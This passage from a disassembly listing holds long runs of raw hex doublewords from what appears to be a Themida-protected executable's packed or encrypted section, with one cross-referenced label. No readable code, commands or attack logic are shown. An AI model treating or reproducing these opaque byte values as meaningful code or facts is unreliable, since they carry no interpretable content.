1A042444h, 47000000h dd 283C357h, 0A71BE593h, 15B58997h, 0E9061517h, 0Dh, 0D00D6B7Ah dd 0CBFB1039h, 2FD59D81h, 1585C73Fh, 61511h, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1B042444h dd 40000000h, 3D81C350h, 4EC1D270h, 9529A7EBh, 6150561h dd 1D45B5FFh, 0BF0F0615h, 9241B8D3h, 95FF373Bh, 61502C9h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 7CC35545h dd 95FF006Ah, 6152E21h, 0BEBC08Bh, 3250C9BBh, 895DB57Fh dd 8D05669Ah, 1B79E78Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1B04h, 0C3514100h, 0AD442F54h, 0CCF1EF81h dd 68E0F60h, 0F000000h, 8Eh, 0BE900h, 39660000h, 0B5F9955Eh dd 0A9827BB7h, 0D18B6125h, 27218D89h, 6A0615h, 3E850h dd 58200000h, 448958C3h, 44810424h, 170424h, 50400000h dd 0E46095C3h, 0CD85C772h, 54061504h, 6A00005Bh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h dd 7655C353h, 8166D800h, 0C75738CBh, 15111585h, 6, 0B19D8B00h dd 0FF06152Dh, 151D45B5h, 4D9D8B06h, 0FF06152Ah, 1502C995h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h dd 0C3564600h, 0ADB58910h, 6A061518h, 2195FF00h, 8B06152Eh dd 0B00BEBC0h, 25875D13h, 0ACF9DA0Dh, 0CE53B2EFh, 365DB162h dd 26AEB153h, 5657A030h, 56A75832h, 0A3D3B132h, 0F20CFC24h dd 0C8CF7D23h, 56BA437Dh, 565DA0DBh, 11D9A832h, 0C5301E24h dd 8D7B0ECAh, 9A72DB8Ch, 71769A42h, 5675B342h, 20B43A32h dd 560B2859h, 0D6FDD132h, 0AA0D75EAh, 59ABB153h, 56D5B6BDh dd 5768BE32h, 0AE75B132h, 5642B132h, 5ADCBE32h, 59AEB132h dd 5657B7B0h, 5624BE32h, 56D5B132h, 56FA5832h, 13ABB132h dd 0D9DFD748h, 4BA9D25Ah, 13F368EBh, 62FCB855h, 56ABB16Fh dd 620A5932h, 5FDE78C5h, 0FA8CB132h, 0D7BAEFD7h, 30381BC5h dd 56CF42B9h, 56574932h, 36360052h, 56D5A5DBh, 7C6AD32h dd 0B7F4D67Fh, 2B323CE2h, 885FD558h, 832A5FCCh, 8DEED7B2h dd 56CAD0F2h, 56DF5832h, 864B132h, 0BD4AE6EEh, 8F8C4554h dd 0DC52B132h, 56AEB136h, 37863B52h, 0D0A4B132h, 56D5B13Ah dd 56E8373Dh, 3715B132h, 5053B132h, 5C5DB132h, 0A1009907h dd 40D4BE21h, 59ABB132h, 56D5A1B8h, 56E15832h, 6A06B132h dd 0CF705E26h, 0AE8BD1E5h, 36AEB15Ah, 3736D152h, 376A0E3Dh dd 0AEB5B132h, 598AD0CBh, 56147685h, 5738BE32h db 32h, 0B1h word_5E156A dw 0A35Dh ; DATA XREF: Themida_:0057B04Co dd 0DEA1B132h, 5657B123h, 56ABBDDBh, 0B354A32h, 0D38220B4h dd 8C0B21DFh, 36BAB17Eh, 564F5864h, 456EB132h, 777CFC5Fh dd 81C6FC95h, 2A315BA6h, 0ECE14DCCh, 5672586Bh, 0E5F8B132h dd 78CC85E3h, 56AED01Dh, 59AE3A52h, 56ABA0B8h, 56D95832h dd 0A626B132h, 4050A76Fh, 22808Fh, 0AA3C0663h, 5947B132h dd 0F857B132h, 0CCC71A3h, 0A3DEBC0Eh, 2559954Bh, 0EE15EF49h dd 32507DEDh, 7BE5D752h, 56BF58CEh, 0D1ACB132h, 554D9391h dd 0C53709C3h, 128B7EF7h, 37C83C5Dh, 59BAB153h, 565DBDB2h dd 5026BE32h, 5957B132h, 56ABB1BCh, 0BFD5B132h, 56EAB13Fh dd 0CC200063h, 0DF3DC068h, 0B09BF17Eh, 0AAAEB11Dh, 0DF58B132h dd 56ABB13Ah, 56D7333Dh, 378AB132h, 0DD7AB132h, 56BAB134h dd 59C3A52h, 56AED06Bh, 0AE57B1C7h, 0DFA4B132h, 56D5B133h dd 56EAB3CEh, 43FD7032h, 8472316Ch, 365DB153h, 72763054h dd 518FD0CFh, 56AEB137h, 56DAB130h, 56E8B108h, 567EB33Dh dd 59DAB132h, 565DB1BBh, 8C5E3132h, 0A357B153h, 37CBD152h dd 9DCE71B3h, 308BD3E3h, 37F75789h, 30DAB132h, 59DC53B3h dd 0AACF4BB9h, 3037B132h, 0AF2046B9h, 4152BE53h, 59EAB132h dd 5675A0B4h, 56B65832h, 142B132h, 0EC2176BAh, 762FC4Dh dd 56AB0DA6h, 0A3D5B1CBh, 308AB132h, 56146EB9h, 56B8DF32h dd 385DB1CBh, 83825730h, 0D731805Ch, 375D2AF3h, 453CB132h dd 0E5EAB132h, 0C4EB566Fh, 90E8A41Ah, 563B5E52h, 0EEE49B5Ah dd 36079327h, 664063Dh, 59B4D160h, 0CB2E203h, 52FCD06Ah dd 4A355F16h, 40DE117h, 37CEE362h, 407803Dh, 0EF1803Dh dd 67DAE968h, 5B03E362h, 4775B132h, 1B5EC644h, 1F0DA230h dd 53D2DE7Ch, 50BE803Dh, 70ABB132h, 0E468A555h, 0CB2EB31h dd 0C292216Ah, 0C39830Fh, 0C605EB6Ah, 3F5E8290h, 734B3EDCh dd 50422D6Bh, 90D5B132h, 43705B5h, 567B5811h, 2924B132h dd 0CDF7247Eh, 21D8A00Ah, 4555FCD6h, 7C3BD0AFh, 56D5B7DBh dd 52FD2732h, 0CBC693DFh, 0A02B2753h, 0D490D5C5h, 986761A1h dd 0BFD24DDDh, 56ABB122h, 0B173B0DAh, 0D5D88CA6h, 890B8832h dd 0AD30441Eh, 6752D0AFh, 56AEBDDBh, 0B4FA7532h, 78028141h dd 6CB0EDFDh, 0EB2EBD9h, 3458F565h, 0F89301C1h, 0ECB86D7Dh dd 0BECEE959h, 5657B137h, 0D2AE71CDh, 30B4EF68h, 65CF78B3h dd 5975B153h, 56BAB0B5h, 0BF3D4832h, 56AEB120h, 5B6CB1BDh dd 925A6692h, 5992671Bh, 0A9BA9D3Fh, 4DCF2AE2h, 37983F09h dd 0DA52B132h, 56AEB125h, 56595852h, 0B833B132h, 3E21010Ch dd 237869Ch, 625AF593h, 56DBD052h, 5DDEBE32h, 0BFAEB132h dd 5657B134h, 0EB23FCCAh, 56D5B6B1h, 0BFEAB1C7h, 5675B120h dd 7B60E8DCh, 0D20C7427h, 7BBF56C4h, 0F3ACDB68h, 56AB8819h dd 59D5B1C7h, 56EAA8BFh, 56615832h, 0A338B132h, 377A9D58h dd 1C46069Eh, 0F51513CCh, 0C0093B9Dh, 562D3350h, 56EA4D32h dd 36843B52h, 56BABADBh, 0CB48C432h, 95A4CEB3h, 7A1B2471h dd 3D443054h, 59B4D069h, 56EAB0BCh, 56754D32h, 36BAB1C7h dd 0B0500F54h, 56AD3D3Dh, 0BED7B132h, 56ABD026h, 56D43B3Dh dd 5613B132h, 46F0BE32h, 0BFBAB132h, 565DB139h, 855E13E6h dd 0DD6D08F9h, 564EF80Bh, 56C65832h, 0FBDDB132h, 543047D0h dd 0CE7FB387h, 9E5914B8h, 0A9053D7h, 0BF57B1B7h, 56ABB13Ah dd 0ACE71C35h, 4F50682Eh, 0DD7AB132h, 56BAB138h, 565DB4DBh dd 41DE432h, 56571776h, 0B12BD152h, 565ABE70h, 37EAB132h dd 5675B6DBh, 793E4932h, 23E678C6h, 59AEB153h, 5657BDB6h dd 5024BE32h, 59D5B132h, 56EAB1BDh, 56705832h, 25EDB132h dd 56F16CCDh, 5E27BE32h, 5957B132h, 56ABB3BCh, 56B4D132h dd 56F85832h, 0E237B132h, 0D48D2C69h, 0A660B03Fh, 3D7A0436h dd 4A3023E5h, 5C42B132h, 8FD5B132h, 64D19E23h, 0ADF3369Ah dd 0BFBAB1A3h, 565DB134h, 0AFF24373h, 5657C53Ch, 0BFABB1CEh dd 56D5B13Ah, 0E9CE7414h, 36F39B1Eh, 4753B132h, 0AC5DB132h dd 0C02E9AD4h, 0A7874442h, 309FC15Dh, 0BF58D2BDh, 5612B132h dd 56785832h, 1A3BB132h, 9458BFCAh, 0DF9FED18h, 56EC1CF4h dd 5E2FBE32h, 59D5B132h, 56EAB3BDh, 3614D132h, 56B8313Dh dd 90D6B132h, 87950A54h, 5957B153h, 56ABACBAh, 453DD132h dd 6FEAB132h, 3595B094h, 123B31DEh, 48F3E0BDh, 0B69EDDF7h dd 60F214Ah, 56ABD068h, 0AED5B1CBh, 0E1E5E652h, 0A3F5EFC8h dd 56BAD0CDh, 565C3A3Dh, 5657B132h, 57D0BE32h, 0AEABB132h dd 562CB132h, 59B8D132h, 5675B1BCh, 0D1B5EF32h, 565DB122h dd 56AEBBDAh, 642A9132h, 0F69CCA98h, 0E940123h, 36EAB153h dd 25C04AB9h, 59BAB153h, 565DA6B5h, 56BC5832h, 0B9E8B132h dd 0E2E943Dh, 54D15681h, 26214D0Ch, 0C9569922h, 5646B132h dd 565D4D32h, 850F0E52h, 504A9FEh, 56CAEE6Ah, 0D7B3D132h dd 0BE6352F8h, 5675B13Bh, 286433DCh, 3F645A2Ah, 8019BE5Bh dd 5BBED06Ch, 0ABABB132h, 0F515DC3Eh, 0C17C6017h, 3CFDC5Ch dd 0D6DAB132h, 0AE3C9FE1h, 5E47B132h, 6057B132h, 63372C2Ch dd 56574418h, 56EA4D32h, 56665952h, 8EAFB132h, 6A3BD220h dd 71BFB0ABh, 59E9177Eh, 4B8CA948h, 9054D768h, 0EFB2667Ch dd 6CAEB4BAh, 0AABAB153h, 565DBEDBh, 0CBE3E632h, 0C88E393Bh dd 0B47C4A1Eh, 0F537D9BAh, 0BF8AB132h, 5675B126h, 1F6D79C4h dd 7E3C7A29h, 1832B128h, 28C92A2Ah, 0F3D584EAh, 0D9DAD0C7h dd 56EAB133h, 0BF75B1CBh, 56BAB13Eh, 0ABCF3445h, 5424BE7Ch dd 601B26A6h, 0D1A4B132h, 56D5B13Eh, 56EAB6DBh, 3139A732h dd 6A47B954h, 58B4B132h, 0BFAEB132h, 224FD0E9h, 0AE31B253h dd 876ACE6Eh, 0AEEAB11Ah, 5689B132h, 56BA4D32h, 565358CBh dd 7971B132h, 33A173ABh, 0D0676C6Dh, 7E399A10h, 4203B132h dd 0C75B132h, 33DF0566h, 796E1FFEh, 0BA37005Fh, 0F623F844h dd 560F6706h, 0DDB3D132h, 56EAD0FDh, 98C2BE52h, 36DB45B8h dd 565E3A3Dh, 9E2EB132h, 50D5BEE1h, 59ABB132h, 56D5B1B7h dd 56EAD032h, 3675B1CEh, 59793A54h, 565DB1B1h, 56AED032h dd 3657B1C7h, 0DD7A3054h, 56D5D04Ch, 59EAB1CBh, 5675B6B7h dd 5738BE32h, 0A35DB132h, 0A3AEB1CEh, 56AEB132h, 3057D132h dd 25CE6BB3h, 0BFEAB153h, 5675B134h, 0A779F15Dh, 565DBA4Ah dd 56AE48CEh, 5957B1CAh, 56ABB0B5h, 56D54D32h, 36EAB1CEh dd 56783E3Dh, 5E53B132h, 915DB132h, 1B55A3B2h, 307EBD4Bh dd 37F44488h, 59D5B1C7h, 56EABBBFh, 3715D132h, 56BA303Dh dd 563CB132h, 56A35832h, 3FFDB132h, 0B3FCA396h, 1D39EDE5h dd 56310B01h, 5EFEBE32h, 59BAB132h, 565DB3B8h, 56CFD132h dd 57D3BE32h, 0AEABB132h, 8754D752h, 0DDE5EC3Ch, 5675B131h dd 377D0E3Dh, 56A4B132h, 4A27BE32h, 3657B132h, 4542D052h dd 5D5B132h, 9C8DC1EAh, 4B42DFB3h, 50ED1C18h, 0A9DD3B37h dd 59CFABB2h, 5657ABB4h, 5142D132h, 0EBD5B132h, 570D97A7h dd 509D3B65h, 73BAB132h, 7D7EE575h, 56CFEE9Dh, 56AE4432h dd 4526BE32h, 36D5B132h, 7EDF0854h, 5675B9DBh, 57D61532h dd 73B7065Ch, 56AED040h, 565F333Dh, 0DFA4B132h, 56D5B130h dd 56EAD052h, 5675BEDBh, 11D70C32h, 0A9DCAC9Eh, 393C1EE9h dd 469DC579h, 36CBB132h, 0DD6952B2h, 3716D0C5h, 9FA43052h dd 59FE7C9Fh, 565DB0B4h dd 56CF4D32h, 56595832h, 132DB132h, 68800CA0h, 21EACADFh dd 911B20C6h, 0BEDAB132h, 565DB139h, 0D0B0608Fh, 73F1142Eh dd 0A3B04614h, 593CD069h, 3FEAB132h, 89B19EE6h, 248C5E82h dd 0C63B8ECEh, 56AE9EC3h, 9F953052h, 30FE222Ch, 56B47EB9h dd 56EA4932h, 56645852h, 5B6DB132h, 0A2AEC136h, 7DCC78DFh dd 75B7709Eh, 0BFE61D65h, 56D5B13Eh, 0EC4B03CEh, 0CA9505A3h dd 4525FD1Ch, 0AE5DB153h, 0DDA1B132h, 5657B123h, 56A0343Dh dd 503CB132h, 9BEAB132h, 0EA7B005Ah, 59BAB162h, 565DB6B4h dd 5721BE32h, 0AE57B132h, 5142B132h, 1FD5B132h, 0B37401FAh dd 5675EE4Ah, 36BAB1CEh, 30973A54h, 4DAD60B3h, 5957B153h dd 56ABA4B5h, 56C55832h, 56A1B132h, 3D241395h, 0A9CC8BE0h dd 0B9BBB7D4h, 56AEA0BEh, 3657B1CEh, 0A820EA60h, 59D5B153h dd 56EAB6BBh, 0DD13D132h, 37D107F4h, 595DB1CBh, 56AEA1B1h dd 5CD2BE32h, 0BFABB132h, 56D5B137h, 8EF9AC04h, 3675B102h dd 8E124C8Ch, 0A5D6D70Eh, 36AEB153h, 0BF900E3Dh, 56ABB137h dd 0ED8EDB88h, 56EAD0FDh, 5674333Dh, 3643B132h, 36830E3Dh dd 0D66F0489h, 56D1BE27h, 37ABB132h, 0BFD5B153h, 56EAB139h dd 2F704ED9h, 0E5CAF5A6h, 564E522Dh, 56AE4832h, 87DCD752h dd 56ABBEDBh, 6D57FC32h, 93EFD2B5h, 0C7FB1F73h, 0FCAEE812h dd 595DB153h, 56AEB0B0h, 59374932h, 56ABB4B0h, 0B754D732h dd 1F5389DFh, 3710F4FEh, 0D2B5B132h, 565DB13Eh, 9715D752h dd 689130B7h, 37A2532Ch, 0DB023152h, 56E8353Dh, 922B132h dd 0BFBAB153h, 565DB139h, 2D7B70C9h, 0D0E36E5Ah, 5667A468h dd 5758BE32h, 0A3EAB132h, 0D37AB132h, 56BAB13Eh, 565B373Dh dd 0D5A1B132h, 5657B132h, 3657B132h, 56C23F3Dh, 4702B132h dd 3F75B132h, 3A81C094h, 129C997Ch, 0D08E097Dh, 98A290Ch dd 0C44A3069h, 37B55244h, 4703B132h, 9175B132h, 0A6A5BB21h dd 1EB0BC04h, 0A6509917h, 0E9F8CF6Dh, 0D6A4B132h, 56D5B13Eh dd 56EC393Dh, 0DA7AB132h, 56BAB132h, 56A1B132h, 56AE4432h dd 564D3F3Dh, 59CBB132h, 56D5B1B9h, 56E75832h, 0BBDDB132h dd 33D2C007h, 0BD057CA3h, 379802CBh, 0D637B132h, 0DDCDB6FCh dd 56D5D0E5h, 56EF353Dh, 5915B132h, 36DB728Dh, 0DD7678B2h dd 56AED0CAh, 55D6BE52h, 30ABB132h, 5E3D79B9h, 17EAB132h dd 74023F2Eh, 0C5E9800h, 0BF5DB153h, 56AEB13Eh, 0C45428ECh dd 6D80B29h, 1F58720Eh, 0D5E5B132h, 5675B133h, 0A3BAB1CBh dd 0BFA8B132h, 56AEB126h, 4D47A81Dh, 7BA7212h, 0F8F5A10Ah dd 0AADA090Dh, 921E4247h, 0D4B5B132h, 565DB133h, 56BA58CBh dd 0E86AB132h, 0F4113966h, 6D7332D4h, 2D918F09h, 0FD2B26B4h dd 56BA885Ch, 56453F3Dh, 0BECEB132h, 5657B122h, 5EF7E2A0h dd 8657D1B1h, 85392916h, 1F623FCEh, 56BAD069h, 5651313Dh dd 0DFA1B132h, 5657B134h, 56AB363Dh, 36B5B132h, 56EAA1DAh dd 0D5DAC332h, 7C6C738Bh, 3CC35E9Ah, 75AD49B5h, 0D731EAFAh dd 37BD5BF9h, 56B473B9h, 5B02D132h, 6875B132h, 0C095C7D8h dd 6D065BE7h, 0EB252FACh, 5657BFDAh, 7B472F32h, 0F5515D75h dd 0F4D10E7Bh, 9E4D62Fh, 0E305D768h, 565DD0D1h, 5E46D1CBh dd 0F757B132h, 674C67BBh, 599CED10h, 30B4608Dh, 56147AB9h dd 56BF5832h, 0AC35B132h, 56DAD8A8h, 5ED6BE32h, 59ABB132h dd 56D5B3B5h, 568BD132h, 57F7BE32h, 0AFBAB132h, 303DB132h dd 0DD22AE8Ch, 5657D0E5h, 56B9383Dh, 5B3CB132h, 0D0EAB132h dd 0E699C244h, 5D847A20h, 0BAA57B7Eh, 565BB132h, 56574832h dd 5E2CBECAh, 59D5B132h, 56EAB3BDh, 5614D132h, 5E3DBE32h dd 595DB132h, 56AEB3B5h, 5636D132h, 8E2AD132h, 0C24973Bh dd 0BE6BD763h, 372FA2E4h, 0D9B5B132h, 565DB133h, 36AEB1CAh dd 5657BBDBh, 0F5B16C32h, 0FFDF5C35h, 0E63BE2CFh, 5675D0DBh dd 0A3E84452h, 565DD068h, 3B613052h, 0E143F322h, 56ABD049h dd 56C23C3Dh, 0DCE5B132h, 5675B123h, 56BABDDBh, 0DD6FB532h dd 55337E83h, 0AB116744h, 59ABB128h, 56D5B2BDh, 3713D132h dd 5E9CB132h, 0D2BAB132h, 0A3C2AF5Ah, 569DFCD7h, 57D4BE32h dd 0AAABB132h, 0D0DAB132h, 56EAB135h, 0D68C3B52h, 36DB52E7h dd 0EE3B72B9h, 56CFA3D3h, 8FD7D132h, 9C3208DDh, 56B4FCB8h dd 56E45832h, 5A98B132h, 0F09AA9CFh, 5EEB6538h, 4E9CFA1Fh dd 56A2B132h, 5B42D132h, 0A9D5B132h, 69F8CDEAh, 792F910Eh dd 0F2B6CF58h, 565E393Dh, 0DDC8B132h, 0D458D0CCh, 56ABB13Ah dd 4A243052h, 37E62619h, 5915B132h, 56BAB2BDh, 40953132h dd 5A5D3054h, 5657D0D8h, 56ABBADBh, 0B9131A32h, 0F8C3DDDEh dd 1F1136D4h, 0D6B5B132h, 565DB135h, 59F1E152h, 56364E85h dd 56AB4932h, 56D5B6DBh, 149E5232h, 0E959F387h, 5353B132h dd 0FB5DB132h, 9A20B287h, 56AFB132h, 56AC5832h, 0F1F2B132h dd 6E99B391h, 3675B160h, 563DBE64h, 0C5DB132h, 0BFAEB153h dd 5657B135h, 648716B8h, 56AF5AF1h, 0E9E5D132h, 0D713D1ECh dd 308B31E5h, 5AE158B3h, 56AED053h, 5657B8DBh, 0DDDC0C32h dd 0FE334876h, 56EA0C49h, 3675B1CEh, 56BAB9DBh, 0CC049F32h dd 87F2FBA4h, 56364D3Dh, 0DCA4D132h, 56D5B132h, 39353054h dd 5675D030h, 0F7CD0E52h, 5CB4A048h, 15AEB132h, 0F7D77D65h dd 4BBC838Ah, 56D5D078h, 56EABBDBh, 1D417232h, 29555C9h dd 5640F2B9h, 56BD5832h, 23CDB132h, 0B948AA93h, 0E9F2FB91h dd 11F3BDFBh, 5E59B46Ah, 0AFBAB141h, 0D752B132h, 56AEB121h dd 5657BFDBh, 201A9132h, 72EB4B76h, 85471F0Ch, 5654B224h dd 5C33BE32h, 365DB132h, 0BF403054h, 85DCD798h, 59ABB153h dd 56D5B0B3h, 56124432h, 0D47AD132h, 56BAB134h, 565D3E3Dh dd 0E217B132h, 3725D883h, 5142B132h, 0C9D5B132h, 1317E27Bh dd 5675D3F5h, 56BAB8DBh, 0E02F9132h, 9FF3C49Ch, 5657E5C0h dd 56BD353Dh, 0BFB5B132h, 56EAB13Dh, 954BE286h, 563B9525h dd 1EE9080Fh, 377572D0h, 56A2B132h, 5829BE32h, 0BFD5B132h dd 56EAB13Bh, 0C0BEFBDDh, 0A3F0A82Bh, 595DB190h, 56AEA9B6h dd 56445832h, 0CD87B132h, 134AFC0h, 9EE4F4D8h, 0A28B76Dh dd 462EA4E0h, 0AA5DB17Eh, 5652B132h, 56455832h, 57D9B132h dd 425AF006h, 0BCD6902h, 0E63BB501h, 0A99633D6h, 51B4B132h dd 9CAEB132h, 23F104BCh, 56AB7CD7h, 4659BE52h, 0BFEAB132h dd 5675B139h, 72AB1DA9h, 5CA569F9h, 37B36CC4h, 0D558B132h dd 56ABB138h, 0C4070B52h, 0E1E5ABFDh, 5675D0FBh, 0BFBAB1C7h dd 565DB13Bh, 69E9F7E2h, 41D5E029h, 0BFABB15Fh, 56D5B13Dh dd 770B313Eh, 16A7784Fh, 5261F73Eh, 59154984h, 56AEA8B7h dd 56435832h, 7A6CB132h, 1B266660h, 0FBB195D3h, 0DB4B440Ch dd 0D30AA424h, 565D9D57h, 56AF303Dh, 0AEA2B132h, 0A357B132h dd 593CB132h, 6AEAB132h, 0DA6BA61Fh, 49FB15A4h, 25E82C93h dd 56AE14E7h, 56445852h, 0EB62B132h, 0B52F3228h, 0A774550Eh dd 0A3B09FFh, 0A5D3E247h, 50DBBEADh, 59AEB132h, 5657B1B4h dd 56ABD032h, 56DD3E3Dh, 0DCE5B132h, 5675B130h, 5642D052h dd 564D5832h, 3DB1B132h, 6218C142h, 956EFED5h, 0AA96AD96h dd 56EAA8ACh, 0BE360952h, 5352D273h, 0C45DB132h, 7CF83D8h dd 3636EEC7h, 20D53188h, 8154D708h, 568B07A2h, 56754D32h dd 36BAB1C7h, 0B6DC70B9h dd 2F592D86h, 0BF57B153h, 56ABB121h, 7B06E302h, 0FB99BC06h dd 0AB728234h, 0C543BA23h, 599C2E38h, 56AEB0B1h, 56574932h dd 5C26BECEh, 0BFD5B132h, 56EAB137h, 5BD8A9D2h, 0AEBAB1E0h dd 0D652B132h, 56AEB135h, 56563C3Dh, 5653B132h, 5155BE32h dd 59EAB132h, 5675B0B8h, 56BA4832h, 56503C3Dh, 5E47B132h dd 0C257B132h, 0CBBEC464h, 56DFCEB3h, 0B76AD132h, 5675D013h dd 97304452h, 90D6D153h, 3761063Dh, 56AEB132h, 0E9A4D132h dd 56C558F8h, 7998B132h, 8D52C7E0h, 0CD69B105h, 0AC2750F9h dd 56CF3EA6h, 565B5832h, 580B132h, 0F5FD21F5h, 370F207Fh dd 0D47A36B0h, 56BAB12Ah, 565DA2DBh, 4E25CA32h, 5B53395Ch dd 85059DF1h, 0B99CC25Bh, 0E680F0DBh, 0BF15B132h, 56BAB126h dd 0DAC6078Bh, 0FE9D102Fh, 0BD6CC76Ch, 0CF79C900h, 0CB79767Dh dd 0E060A54h, 567D5853h, 3B11B132h, 0E9097287h, 56AE6EAEh dd 5649373Dh, 0D3A4B132h, 56D5B12Ah, 56EAA2DBh, 0A41E8032h dd 695C277Ch, 1CC8B892h, 0D6FCE6ABh, 0C4DEF4C5h, 5B42B132h dd 55D5B132h, 8D6F9721h, 5B0EE6Fh, 40E0F00Bh, 0BEA53A52h dd 56AEB138h, 0EB57B0F4h, 6CE61379h, 9454A0F5h, 6B027CEBh dd 5675D06Ah, 56B43E3Dh, 5FB4B132h, 8AAEB132h, 399D6C57h dd 92C474C1h, 5629B132h, 56EA4D32h, 5675B4DBh, 0F4F0E532h dd 56A87BE4h, 56BF5832h, 0E8C5B132h, 95D01771h, 209D39F0h dd 419BFBCFh, 56F9F160h, 0E1B5D132h, 565DD0F5h, 56AE44C7h dd 5657A3DBh, 0D2641332h, 7F8597D6h, 7F9EF198h, 9FB6A9D4h dd 56774DDAh, 50B4D132h, 65AEB132h, 59936ECAh, 0A94F0892h dd 56B488AFh, 0E1E5D132h, 375301F9h, 5943B132h, 565DA8BCh dd 56BA5832h, 4C5EB132h, 81DC9805h, 487A664Ch, 936632A6h dd 6D49D910h, 56BA49BBh, 565DA5DBh, 989A2932h, 0CCD7CEE5h dd 6BB13E15h, 63E124E9h, 0BC7E300h, 5975B183h, 56BAB9BFh dd 0D452D132h, 56AEB132h, 3657B153h, 1E7E66B3h, 0EDB3ECF9h dd 568B239Eh, 58F7BE32h, 0BFBAB132h, 565DB13Bh, 0ED1DFDB0h dd 3142C695h, 0BE21D12Bh, 56B4B587h, 0FBCD132h, 0AA656BB3h dd 0BFDBC629h, 565DB135h, 53C5035Ch, 56F8512Fh, 5E24BE32h dd 59D5B132h, 56EAB3B5h, 5614D132h, 56BA4432h, 5640363Dh dd 0D6A1B132h, 5657B125h, 56ABA3DBh, 77A7BC32h, 0A43C6B1Ah dd 0BC269139h, 4D13017Bh, 565EBD59h, 56BE5832h, 157EB132h dd 0FC7F3F49h, 8E5D037Fh, 0EE34C53Dh, 5675F6FBh, 59BAB1CBh dd 565DBCB4h, 56A65832h, 0C4E9B132h, 6781D83Ah, 562D815Dh dd 5762BE32h, 0A375B132h, 59BAB1CEh, 565DA0B2h, 3B1AD132h dd 5657B6DAh, 0C0F28332h, 43C24B7Dh, 56EAD06Ah, 4FFFBE52h dd 0BFBAB132h, 565DB126h, 88F40899h, 5C121F34h, 51DB8983h dd 7FD3C2E2h, 0BCE51F42h, 567D5853h, 0C213B132h, 7C86EDC6h dd 56AE1E09h, 91DDD1CEh, 0B82AD761h, 378A415Fh, 0D78AB132h dd 4CA865F2h, 56AE5825h, 0FDECB132h, 933C8C29h, 681F9DAh dd 0B935EBCBh, 7FE92786h, 0A38B5F2Ch, 568CB132h, 0D7DCD132h dd 593D8FC1h, 56AEB3B5h, 3736D132h, 30CBB132h, 0D39463B3h dd 55995FB3h, 5614A59Ch, 56B55832h, 10FFB132h, 16E663B3h dd 0D24EFAD0h, 146F85CCh, 36D5B157h, 0DB930E54h, 5675BDDBh dd 965A9932h, 769A0EEh, 0DF5B2A37h, 0BF37D0D0h, 56ABB13Fh dd 0BC210B30h, 8CCCCF76h, 0F47C356h, 5439BEA4h, 365DB132h dd 56AED053h, 0EE314952h, 56CA83A1h, 56C65832h, 2180B132h dd 1B883A6Ch, 473DF889h, 5174167Fh, 0F7AC0871h, 56574D98h dd 0BFABB1CAh, 56D5B13Fh, 0CEA597Fh, 6E63573Dh, 5B4B6F2Dh dd 595DB1DCh, 56AEA7B0h, 56465832h, 8E2AB132h, 72B185ECh dd 0B26A58CEh, 0C0D577A0h, 562A8862h, 564F5832h, 8B1EB132h dd 68604895h, 427BEDh, 0A0779B02h, 88A58B37h, 5975B1CBh dd 56BAB9B5h, 54D8BE32h, 36AEB132h, 3657B153h, 8E2AD752h dd 593CD804h, 1EAB132h, 0A7FB7FFFh, 0B57A1C6Fh, 0FF3C2B70h dd 37CFB7A8h, 56AEB132h, 56AB4432h, 56DA5852h, 0E339B132h dd 0B420F87Bh, 86C1ACBCh, 660CE875h, 0D6A1D06Dh, 5657B13Eh dd 2312D752h, 5657BEB4h, 37EAB132h, 0BE15B132h, 56BAB122h dd 0C581CB69h, 3207322Dh, 2B8E8849h, 8FD29143h, 0BF8CE965h dd 56EAB134h, 34436E28h, 56DB14D0h, 4FD7BE32h, 59AEB132h dd 5657A2B7h, 56A55832h, 0BE6CB132h, 7EC992FEh, 0E26B7E6Eh dd 3AC1F8C5h, 565C3E3Dh, 5652B132h, 5FDBBE32h, 36ABB132h dd 306D7FB2h, 3735138Bh, 5675A5DBh, 5124F332h, 6FA21E0Ch dd 145A6367h, 90DC107h, 6451618Ah, 59D5B163h, 56EAB9BBh dd 54F7BE32h, 36BAB132h, 365DB153h, 0C8130F54h, 90D0C98Ch dd 56ABD05Bh, 5351BE52h, 0EEEAB132h, 50694280h, 377B0E3Dh dd 565DA2DBh, 0FF264832h, 142B99F1h, 0E14426DFh, 0DFCE207h dd 483583C2h, 5A9CB132h, 0FABAB132h, 0DAC9CFh, 3802664h dd 0AA85A353h, 0E2CBB132h, 3029D145h, 3739A488h, 0BF75B153h dd 56BAB123h, 3C72EB12h, 0C10ABD4Ch, 32B71D6Eh, 0FBB53732h dd 59D5B1F1h, 56EAA5BFh, 567A5832h, 0C06FB132h, 8E265481h dd 0B64A6FBAh, 0DC5E3EDEh, 36ABB1CEh, 0BD540A54h, 56EF373Dh dd 0D713B132h, 37F93EF2h, 0D452B132h, 56AEB133h, 0BF57B1CBh dd 56ABB123h, 854ABD35h, 8692113Ah, 404ADD08h, 780326E5h dd 0BF5DB1F5h, 56AEB139h, 0A809114Ch, 0F085675Ch, 56FEF08Ah dd 56FB5832h, 5F03B132h, 132AEBA1h, 7328570Eh, 454BAAC1h dd 5630FA12h, 932BD132h, 56D5D01Bh, 56EABADBh, 0D4547D32h dd 4FA5D8F5h, 0E8D23AD2h, 5656B132h, 5ADCBE32h, 59ABB132h dd 56D5B7B8h, 566ABE32h, 5675B132h, 56B65832h, 1BDFB132h dd 0B79EC228h, 19D4F483h, 56AB88B3h, 9854D752h, 0D8E55166h dd 5675B134h, 56BA353Dh, 563CB132h, 0E9C8D132h, 0D358BCB3h dd 56ABB126h, 56D5BEDBh, 21F3AD32h, 31DAA775h, 860549A1h dd 0F1370FE9h, 0A3AEB153h, 53BEB132h, 0FBABB132h, 4096DF67h dd 56EAA0DBh, 83856532h, 160420D6h, 0D606A80Ah, 98DFB254h dd 56572AB8h, 56A8333Dh, 0A3B5B132h, 0A3EAB153h, 3689B132h dd 56BD5852h, 9538B132h, 97D4EF36h, 46BED194h, 39ABB132h dd 0BC61E238h, 22C6A0B6h, 70DE67D7h, 0DD17981Fh, 0AA3CD0E2h dd 56AEB1DAh, 0BCD6EB32h, 50B02310h, 5750BE52h, 0AEEAB132h dd 37BD3A54h, 599C0352h, 0DB3C6E8Dh, 4C34CDB7h, 0D4DE4834h dd 50B0CBB1h, 8F5ED752h, 56E83A3Dh, 91FEB132h, 2B383C53h dd 595BAD79h, 56AEB0B0h, 